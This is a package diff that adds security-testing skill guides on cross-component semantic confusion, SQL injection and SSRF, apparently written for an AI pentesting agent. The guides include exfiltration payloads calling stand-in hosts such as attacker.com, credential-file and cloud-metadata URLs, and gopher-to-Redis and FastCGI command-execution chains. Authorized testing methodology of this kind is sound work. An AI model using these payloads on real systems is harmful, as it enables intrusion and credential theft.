@gpzhang2001/sharpkit-skills 0.2.1

package/skills/vulnerabilities/semantic_confusion.md

@@ -0,0 +1,189 @@
+---
+name: semantic-confusion
+description: Cross-component semantic confusion testing for parser differentials, normalization mismatches, overloaded fields, lifecycle state drift, internal redirects, protocol translation, and validator-to-sink inconsistencies
+---
+
+# Semantic Confusion
+
+Use this skill when two or more components consume the same attacker-influenced value. The central question is not merely whether input is validated, but whether every consumer assigns the same meaning to the value at the moment it makes a security decision.
+
+Typical chains cross a validator, router, proxy, framework, parser, filesystem, interpreter, cache, or browser. A value can be safe in one representation and dangerous after a later decode, normalization, fallback, or field mutation.
+
+## Authorization and Safety Boundary
+
+- Run active differentials only against explicit authorized targets. Preserve destination allowlists and set request, rate, body, response, timeout, and retry ceilings.
+- Perform malformed framing, delayed-body, oversized-input, crash, or resource-exhaustion cases only in a restartable isolated lab with health monitoring.
+- Use synthetic canaries, reversible actions, non-secret protected resources, or a constant per-test callback identifier. Never place target-derived secrets in an OAST label/body.
+- Change one representation axis at a time so the security-relevant disagreement remains attributable to a specific boundary.
+- Pair `browser_security` when the final consumer is a browser context, worker, cache, or navigation state machine.
+- Do not load this skill for pure ownership drift where every component resolves and interprets the name consistently; use `infrastructure_lifecycle` unless a representation, alias, identity, or resolution-result mismatch is present.
+
+## Core Model
+
+Build a transformation graph before spraying payloads:
+
+```text
+raw bytes
+  -> transport parser
+  -> proxy / middleware representation
+  -> authorization or validation decision
+  -> rewrite / decode / normalization
+  -> internal redirect or dispatch
+  -> final sink interpretation
+```
+
+For every edge, record:
+
+- exact input representation: bytes, string, URL, path, header list, object, or structured field
+- owning component and implementation/version
+- transformation performed, including error and fallback behavior
+- security decision made before or after the transformation
+- whether the original and transformed values remain available simultaneously
+- whether a field changes semantic type, such as filename to URL or MIME type to handler
+
+The highest-signal condition is `security_check(value_A)` followed by `sink(transform(value_A))` where the checked and consumed representations are not equivalent.
+
+## High-Value Confusion Classes
+
+### Parser Differentials
+
+- Compare browser, framework, proxy, library, and backend parsing of the exact same bytes.
+- Test duplicate and comma-joined fields, first-match vs last-match behavior, invalid-token recovery, comments, quoting, and empty members.
+- Include structured formats and metadata: URL, MIME, JSON, multipart, XML, cookies, forwarded headers, and serialized objects.
+- Treat leniency as a security feature only when every downstream consumer is equally lenient in the same way.
+
+### Normalization and Canonicalization Drift
+
+- Map percent-decoding count, Unicode conversion, slash/backslash handling, dot-segment removal, case folding, IDNA, numeric IP conversion, and filesystem cleanup.
+- Compare string-prefix checks with segment-aware or origin-aware comparisons.
+- Test malformed Unicode and replacement behavior; a rejected code point may become an allowed delimiter or wildcard later.
+- Test path, query, and fragment separately. Browsers and routers commonly transform each source differently.
+
+### Field and Type Overloading
+
+- Identify shared fields reused for different concepts: path vs URL, content type vs handler, display name vs executable name, route vs filesystem location.
+- Trace every writer and reader of the field across the complete lifecycle.
+- Look for implicit fallback: when the intended field is empty, another field becomes authoritative.
+- Exercise fields after errors, rewrites, subrequests, retries, internal redirects, and protocol upgrades/downgrades.
+
+### Lifecycle and State Drift
+
+- Trigger error paths that should terminate processing and verify that later phases actually stop.
+- Look for stale metadata copied into a new request, subrequest, background job, cache entry, or retry.
+- Compare direct external access with internal dispatch. Edge controls may inspect the public URL while an internal resolver opens a different path or invokes a different handler.
+- Test order-dependent behavior: validation before rewrite, auth before route normalization, or content classification before processing.
+
+### Boundary Translation
+
+- Map HTTP/2 to HTTP/1 translation, proxy to application rewriting, URL to filesystem resolution, upload detector to content consumer, and client router to API request construction.
+- In a restartable lab and only when supported by evidence, vary framing, bounded delays/body sizes, content type, pseudo-headers, and method conversion. Check target health after resource-sensitive cases.
+- Do not assume a WAF or authorization sidecar sees the full body or final normalized request.
+
+### Namespace and Resolution Fallback
+
+- Identify names resolved across multiple scopes: local path, environment `PATH`, cache, private registry, public registry, plugin directory, template search path, or autoloader.
+- Record lookup order and what happens when the intended entry is missing.
+- Compare protected package/module names with exposed command, binary, handler, or alias names. For npm, a scoped package can expose an unscoped `bin` name, so the protected package name and invoked executable may differ.
+- Treat automatic remote fallback or search-path fallback as an execution boundary.
+- Load `npx_confusion` when `npx` or `npm exec` may reinterpret a missing executable as a public package spec.
+
+## Reconnaissance
+
+### Black-Box Mapping
+
+1. Capture a clean baseline with raw request and response bytes.
+2. Change one representation axis at a time: encoding depth, delimiter, duplicate, separator, method, protocol, body framing, or Unicode form.
+3. Diff status, headers, body digest/length, timing, redirects, cache state, and out-of-band callbacks.
+4. Replay through different paths: direct origin vs CDN, HTTP/1.1 vs HTTP/2, public route vs alternate host, synchronous vs background processing.
+5. Cluster responses by behavior before escalating. Small differentials reveal component boundaries.
+
+### Source-Aware Mapping
+
+- Find every read and write of shared request/context fields, not just the obvious sink.
+- Trace route matching, auth middleware, rewrites, internal redirects, handler selection, and response generation in execution order.
+- Inventory decode/parse/normalize calls and note whether return values or errors are ignored.
+- Search for compatibility fallbacks, legacy aliases, permissive recovery, default handlers, and search-path iteration.
+- Inspect packaging and deployment defaults; distro configuration, enabled modules, plugins, and symlinks often determine reachability.
+
+## Differential Test Matrix
+
+Build a bounded matrix from relevant axes instead of blindly combining everything:
+
+| Axis | Representative variants |
+|---|---|
+| Encoding | raw, once encoded, twice encoded, mixed case, malformed Unicode |
+| Structure | duplicate, comma-joined, empty member, quoted, comment-like suffix |
+| Path | `/`, `\\`, `//`, dot segments, absolute, sibling-prefix collision |
+| URL | userinfo, numeric IP, alternate IP radix, trailing dot, fragment/query split |
+| Transport | HTTP/1.1, HTTP/2, chunked/fixed body, delayed DATA, oversized body |
+| Lifecycle | normal, error, retry, internal redirect, cache hit, background worker |
+| Consumer | edge, application, library, filesystem, interpreter, browser |
+
+Select axes supported by evidence from the target. Record which component saw which representation.
+
+### Repeatable Harnesses
+
+- For two local parsers, canonicalizers, or validator/consumer functions, load `hypothesis` and express the expected relationship as a property. Bound sizes/examples and keep the minimized disagreement as a regression test.
+- For an ordered HTTP flow with cookies, redirects, captured values, and assertions, load `hurl` and encode vulnerable, fixed, and negative-control environments using the same request chain.
+- Use raw-byte or protocol-specific harnesses when a high-level HTTP client would normalize the ambiguity away.
+- Separate input generation from transport. Generators that are safe against pure local functions become active fuzzers when connected to a live target.
+
+## Chaining Strategy
+
+Treat the first differential as a primitive, then ask what authority the later consumer has:
+
+- auth or ACL bypass -> protected route or file
+- path/URL confusion -> source disclosure, SSRF, local socket, or unintended handler
+- detector/consumer mismatch -> active upload processing or inline browser execution
+- internal redirect state carryover -> handler selection or policy bypass
+- search-path or namespace fallback -> attacker-controlled code resolution
+- browser/router decode -> client-side path traversal, CSRF-like action, SSRF, or XSS sink
+
+Enumerate existing local gadgets only after the primitive is proven. Prefer generic classes such as interpreters, template engines, debug tools, package scripts, local sockets, and autoload paths over a vendor-specific file list.
+
+## Testing Methodology
+
+1. **Define the invariant** - State what all components are expected to agree on: origin, path, type, handler, identity, length, or package name.
+2. **Draw the graph** - List consumers and transformations in real execution order.
+3. **Locate early decisions** - Mark validation, auth, WAF, cache, and routing checks.
+4. **Locate late meaning changes** - Mark decodes, rewrites, fallback, internal dispatch, and sink parsing.
+5. **Build a focused matrix** - Exercise only transformations supported by the stack.
+6. **Isolate the disagreement** - Produce paired inputs that differ at one boundary and explain both interpretations.
+7. **Prove the primitive safely** - Use a synthetic protected canary, reversible marker, constant callback identifier, or no-op handler whose behavior and side effects are understood.
+8. **Escalate by capability** - Track Read -> influence -> write -> dispatch -> execute transitions with evidence and prerequisites for every edge.
+9. **Cross-check versions/configurations** - Reproduce on a fixed version or hardened configuration when possible.
+
+## Validation
+
+A valid confusion finding should include:
+
+1. the exact bytes or structured input supplied
+2. the representation observed by the security control
+3. the different representation observed by the final consumer
+4. the transformation or lifecycle event that created the difference
+5. paired control and exploit results across repeat runs
+6. version, protocol, configuration, and interaction prerequisites
+7. a minimal impact proof that does not depend on unrelated undefined behavior
+
+## False Positives
+
+- Different error messages with identical final authorization and sink behavior
+- A parser accepts odd syntax but downstream consumers preserve the same safe meaning
+- A normalization difference visible only in logs, with no security decision between representations
+- WAF bypass where the application itself rejects the request identically
+- Version-specific behavior claimed as universal without testing the relevant deployment
+- A search-path candidate that is attacker-named but cannot be created, claimed, loaded, or executed
+
+## Pro Tips
+
+1. Begin with relationships and shared state, not endpoint payload lists.
+2. Preserve raw traffic; high-level clients often normalize away the exploit before sending it.
+3. Error paths are alternate lifecycles. Verify which fields survive and which phases still execute.
+4. Compare direct and internal access separately; ingress policy rarely governs framework file IO or handler dispatch.
+5. When a prefix allowlist is used, test a sibling sharing the prefix and verify with a segment-aware comparison.
+6. Distinguish presence, reachability, and impact. Each needs separate evidence.
+7. Generalize a finding by naming the disagreement class, not by copying its final payload.
+
+## Summary
+
+Semantic confusion exists when a security decision and a privileged consumer disagree about the meaning of the same attacker-influenced data. Model the entire transformation lifecycle, isolate one disagreement at a time, and prove both interpretations. The reusable unit is the boundary and its invariant—not a CVE-specific string.

package/skills/vulnerabilities/sql_injection.md

@@ -0,0 +1,190 @@
+---
+name: sql-injection
+description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
+---
+
+# SQL Injection
+
+SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
+
+## Attack Surface
+
+**Databases**
+- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
+- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
+
+**Integration Paths**
+- ORMs, query builders, stored procedures
+- Search servers, reporting/exporters
+
+**Input Locations**
+- Path/query/body/header/cookie
+- Mixed encodings (URL, JSON, XML, multipart)
+- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
+- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
+- JSON coercion or array containment operators
+- Batch/bulk endpoints and report generators that embed filters directly
+
+## Detection Channels
+
+**Error-Based**
+- Provoke type/constraint/parser errors revealing stack/version/paths
+
+**Boolean-Based**
+- Pair requests differing only in predicate truth
+- Diff status/body/length/ETag
+
+**Time-Based**
+- `SLEEP`/`pg_sleep`/`WAITFOR`
+- Use subselect gating to avoid global latency noise
+
+**Out-of-Band (OAST)**
+- DNS/HTTP callbacks via DB-specific primitives
+
+## DBMS Primitives
+
+### MySQL
+
+- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
+- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
+- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
+- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
+- Time: `SLEEP(n)`, `BENCHMARK`
+- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
+
+### PostgreSQL
+
+- Version/user/db: `version()`, `current_user`, `current_database()`
+- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
+- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
+- Time: `pg_sleep(n)`
+- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
+- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
+
+### MSSQL
+
+- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
+- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
+- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
+- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
+- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
+
+### Oracle
+
+- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
+- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
+- Time: `dbms_lock.sleep(n)`
+- Error-based: `to_number`/`to_date` conversions, `XMLType`
+- File: `UTL_FILE` with directory objects (privileged)
+
+## Key Vulnerabilities
+
+### UNION-Based Extraction
+
+- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
+- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
+- When UNION is filtered, switch to error-based or blind channels
+
+### Blind Extraction
+
+- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
+- Binary search on character space for fewer requests
+- Encode outputs (hex/base64) to normalize
+- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
+
+### Out-of-Band
+
+- Prefer OAST to minimize noise and bypass strict response paths
+- Embed data in DNS labels or HTTP query params
+- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
+- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
+- MySQL: `LOAD_FILE` with UNC path
+
+### Write Primitives
+
+- Auth bypass: inject OR-based tautologies or subselects into login checks
+- Privilege changes: update role/plan/feature flags when UPDATE is injectable
+- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
+- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
+
+### ORM and Query Builders
+
+- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
+- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
+- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
+- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
+
+### Uncommon Contexts
+
+- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
+- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
+- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
+- XML/JSON functions: error generation via malformed documents/paths
+
+## Bypass Techniques
+
+**Whitespace/Spacing**
+- `/**/`, `/**/!00000`, comments, newlines, tabs
+- `0xe3 0x80 0x80` (ideographic space)
+
+**Keyword Splitting**
+- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
+
+**Numeric Tricks**
+- Scientific notation, signed/unsigned, hex (`0x61646d696e`)
+
+**Encodings**
+- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
+- `char()`/`CONCAT_ws` to build tokens
+
+**Clause Relocation**
+- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
+
+## Testing Methodology
+
+1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
+2. **Determine input influence** - User input in identifiers vs values
+3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
+4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
+5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
+6. **Pivot to metadata** - version, current user, database name
+7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
+
+## Validation
+
+1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
+2. Extract verifiable metadata (version, current user, database name) using the established channel
+3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
+4. Provide reproducible requests that differ only in the injected fragment
+5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
+
+## False Positives
+
+- Generic errors unrelated to SQL parsing or constraints
+- Static response sizes due to templating rather than predicate truth
+- Artificial delays from network/CPU unrelated to injected function calls
+- Parameterized queries with no string concatenation, verified by code review
+
+## Impact
+
+- Direct data exfiltration and privacy/regulatory exposure
+- Authentication and authorization bypass via manipulated predicates
+- Server-side file access or command execution (platform/privilege dependent)
+- Persistent supply-chain impact via modified data, jobs, or procedures
+
+## Pro Tips
+
+1. Pick the quietest reliable oracle first; avoid noisy long sleeps
+2. Normalize responses (length/ETag/digest) to reduce variance when diffing
+3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
+4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
+5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
+6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
+7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
+8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
+9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
+10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
+
+## Summary
+
+Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.

package/skills/vulnerabilities/ssrf.md

@@ -0,0 +1,186 @@
+---
+name: ssrf
+description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling
+---
+
+# SSRF
+
+Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
+
+## Attack Surface
+
+**Scope**
+- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
+- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
+- Service-to-service hops through gateways and sidecars (envoy/nginx)
+- Cloud and platform metadata endpoints, instance services, and control planes
+
+**Direct URL Params**
+- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`
+
+**Indirect Sources**
+- Open Graph/link previews, PDF/image renderers
+- Server-side analytics (Referer trackers), import/export jobs
+- Webhooks/callback verifiers
+
+**Protocol-Translating Services**
+- PDF via wkhtmltopdf/Chrome headless, image pipelines
+- Document parsers, SSO validators, archive expanders
+
+**Less Obvious**
+- GraphQL resolvers that fetch by URL
+- Background crawlers, repository/package managers (git, npm, pip)
+- Calendar (ICS) fetchers
+
+## High-Value Targets
+
+### AWS
+
+- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`
+- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs
+- If sink cannot set headers or methods, seek intermediaries that can
+- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
+
+### GCP
+
+- Endpoint: `http://metadata.google.internal/computeMetadata/v1/`
+- Required header: `Metadata-Flavor: Google`
+- Target: `/instance/service-accounts/default/token`
+
+### Azure
+
+- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
+- Required header: `Metadata: true`
+- MSI OAuth: `/metadata/identity/oauth2/token`
+
+### Kubernetes
+
+- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)
+- Probe `/pods`, `/metrics`, exec/attach endpoints
+- API server: `https://kubernetes.default.svc/`
+- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them
+- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)
+
+### Internal Services
+
+- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)
+- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379
+- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`
+- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
+- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)
+
+## Key Vulnerabilities
+
+### Protocol Exploitation
+
+**Gopher**
+- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)
+- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
+
+**File and Wrappers**
+- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers
+- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled
+
+### Address Variants
+
+- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`
+- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16
+- Test IPv6-mapped and mixed-notation forms
+
+### URL Confusion
+
+- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`
+- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`
+- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes
+
+### Redirect Abuse
+
+- Allowlist only applied pre-redirect: 302 from attacker → internal host
+- Test multi-hop and protocol switches (http→file/gopher via custom clients)
+
+### Header and Method Control
+
+- Some sinks reflect or allow CRLF-injection into the request line/headers
+- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
+
+## Bypass Techniques
+
+**Address Encoding**
+- Decimal, hex, octal representations of IP addresses
+- IPv6 variants, IPv4-mapped IPv6, mixed notation
+
+**DNS Rebinding**
+- First resolution returns allowed IP, second returns internal target
+- Use short TTL DNS records under attacker control
+
+**URL Parser Differentials**
+- Different parsing between allowlist checker and actual fetcher
+- Exploit inconsistencies in scheme, host, port, path handling
+
+**Redirect Chains**
+- Initial URL passes allowlist, redirect targets internal host
+- Protocol downgrade/upgrade through redirects
+
+## Blind SSRF
+
+- Use OAST (DNS/HTTP) to confirm egress. `interactsh-client -v` (running
+  in the sandbox) gives you a unique `*.oast.fun` domain; embed it in
+  the URL parameter and watch the interactsh stdout for the inbound
+  DNS/HTTP hit. Each invocation yields a fresh domain — restart between
+  payloads if you need to correlate hits to a specific request.
+- Derive internal reachability from timing, response size, TLS errors, and ETag differences
+- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
+
+## Chaining Attacks
+
+- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
+- SSRF → Redis/FCGI/Docker → file write/command execution → shell
+- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement
+
+## Testing Methodology
+
+1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs
+2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first
+3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames
+4. **Protocol variations** - Test gopher, file, dict where supported
+5. **Parser differentials** - Test across frameworks, CDNs, and language libraries
+6. **Redirect behavior** - Single-hop, multi-hop, protocol switches
+7. **Header/method control** - Can you influence request headers or HTTP method?
+8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels
+
+## Validation
+
+1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)
+2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service
+3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read
+4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior
+
+## False Positives
+
+- Client-side fetches only (no server request)
+- Strict allowlists with DNS pinning and no redirect following
+- SSRF simulators/mocks returning canned responses without real egress
+- Blocked egress confirmed by uniform errors across all targets and protocols
+- OAST callbacks where the source IP matches the tester's machine, not the server — the browser or a client-side fetch made the request, not the backend
+
+## Impact
+
+- Cloud credential disclosure with subsequent control-plane/API access
+- Access to internal control panels and data stores not exposed publicly
+- Lateral movement into Kubernetes, service meshes, and CI/CD
+- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
+
+## Pro Tips
+
+1. Prefer OAST callbacks first; then iterate on internal addressing and protocols
+2. Test IPv6 and mixed-notation addresses; filters often ignore them
+3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs
+4. Redirects are leverage: control both the initial allowlisted host and the next hop
+5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them
+6. Use tiny payloads and tight timeouts to map ports with minimal noise
+7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability
+8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there
+
+## Summary
+
+Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.